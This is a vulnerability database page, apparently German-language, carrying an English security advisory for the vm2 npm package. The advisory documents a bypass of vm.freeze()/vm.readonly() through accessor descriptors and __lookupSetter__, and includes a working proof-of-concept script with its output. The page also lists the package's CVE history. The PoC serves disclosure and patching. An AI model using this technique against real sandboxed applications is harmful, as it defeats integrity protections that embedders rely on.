Mittel

vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor

  • Veröffentlicht: 01.10.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via __lookupSetter__.

PoC

js
// poc.js
'use strict';
const { VM } = require('vm2');

let _level = 'safe';
const hostConfig = Object.defineProperty({}, 'level', {
  get() { return _level; },
  set(v) { _level = String(v); },
  enumerable: true, configurable: true,
});

const vm = new VM();
vm.freeze(hostConfig, 'cfg');

// Baseline - documented barriers hold:
vm.run(`cfg.level = 'via-set';`);
vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`);
console.log('after [[Set]]/defineProperty:', _level);   // → "safe"

// Bypass - sandbox mutates host via accessor descriptor:
vm.run(`
  const d = Object.getOwnPropertyDescriptor(cfg, 'level');
  d.set.call(cfg, 'PWNED');
`);
console.log('after getOwnPropertyDescriptor→set.call:', _level);   // → "PWNED"

// Variant - same sink via __lookupSetter__:
vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`);
console.log('after __lookupSetter__:', _level);   // → "PWNED-2"
bash
node poc.js

Observed output:

after [[Set]]/defineProperty: safe
after getOwnPropertyDescriptor→set.call: PWNED
after __lookupSetter__: PWNED-2

The first line shows ReadOnlyHandler's documented traps work; the next two show the sandbox mutated the host-side _level despite vm.freeze().

Impact

A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() / vm.readonly(), defeating the read-only contract. Data properties are not affected (ReadOnlyHandler.set / .defineProperty block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. set scriptPath(v), set handler(fn)), this becomes a stepping-stone to host code execution in that embedder.

Preconditions: embedder calls vm.freeze()/vm.readonly() on a host object that has at least one accessor own-property. Default VM/NodeVM options otherwise. Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined. Persistence: as persistent as the host object (typically process-lifetime).

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket vm2 >= 3.9.6, < 3.11.7 3.11.7

Verweise

CVSS-Wert 4/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
Schwäche (CWE)
CWE-471, CWE-693
Plattform
npm
Paket
vm2
Veröffentlicht
01.10.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-633r-hq9m-c4ff - CC BY 4.0

Schwachstellenhistorie: vm2

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (78) im Archiv
Einträge insgesamt
78
Erste → letzte
10.2021 10.2026
Ohne Fix
1
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 51
  • Hoch 14
  • Mittel 12
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Schweregrad:
  1. Kritisch · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Kritisch · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Kritisch · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Kritisch · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Kritisch · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Kritisch · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor dieser Eintrag
    Mittel · 4.0 CVE-2026-92949 >= 3.9.6, < 3.11.7 3.11.7
  8. Kritisch · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  9. Kritisch · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  10. Kritisch · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  11. Kritisch · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  12. Kritisch · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  13. Kritisch · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  14. Hoch · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  15. Kritisch · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  16. Kritisch · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  17. Kritisch · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  18. Kritisch · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  19. Kritisch · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  20. Kritisch · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  21. Kritisch · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  22. Kritisch · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  23. Kritisch · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  24. Kritisch · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  25. Kritisch · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  26. Kritisch · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  27. Kritisch · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  28. Kritisch · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  29. Kritisch · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  30. Kritisch · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  31. Kritisch · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  32. Kritisch · 9.8 CVE-2023-37903 <= 3.9.19 keine Korrektur
  33. Kritisch · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  34. Kritisch · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  35. Kritisch · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
  36. Kritisch · 9.8 CVE-2023-29017 < 3.9.15 3.9.15
  37. Kritisch · 9.8 CVE-2022-25893 < 3.9.10 3.9.10
  38. Kritisch · 10.0 CVE-2022-36067 < 3.9.11 3.9.11
  39. Hoch · 8.3 CVE-2019-10761 < 3.6.11 3.6.11
  40. Kritisch · 9.8 CVE-2021-23555 < 3.9.6 3.9.6
  41. Kritisch · 9.8 CVE-2021-23449 < 3.9.4 3.9.4

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.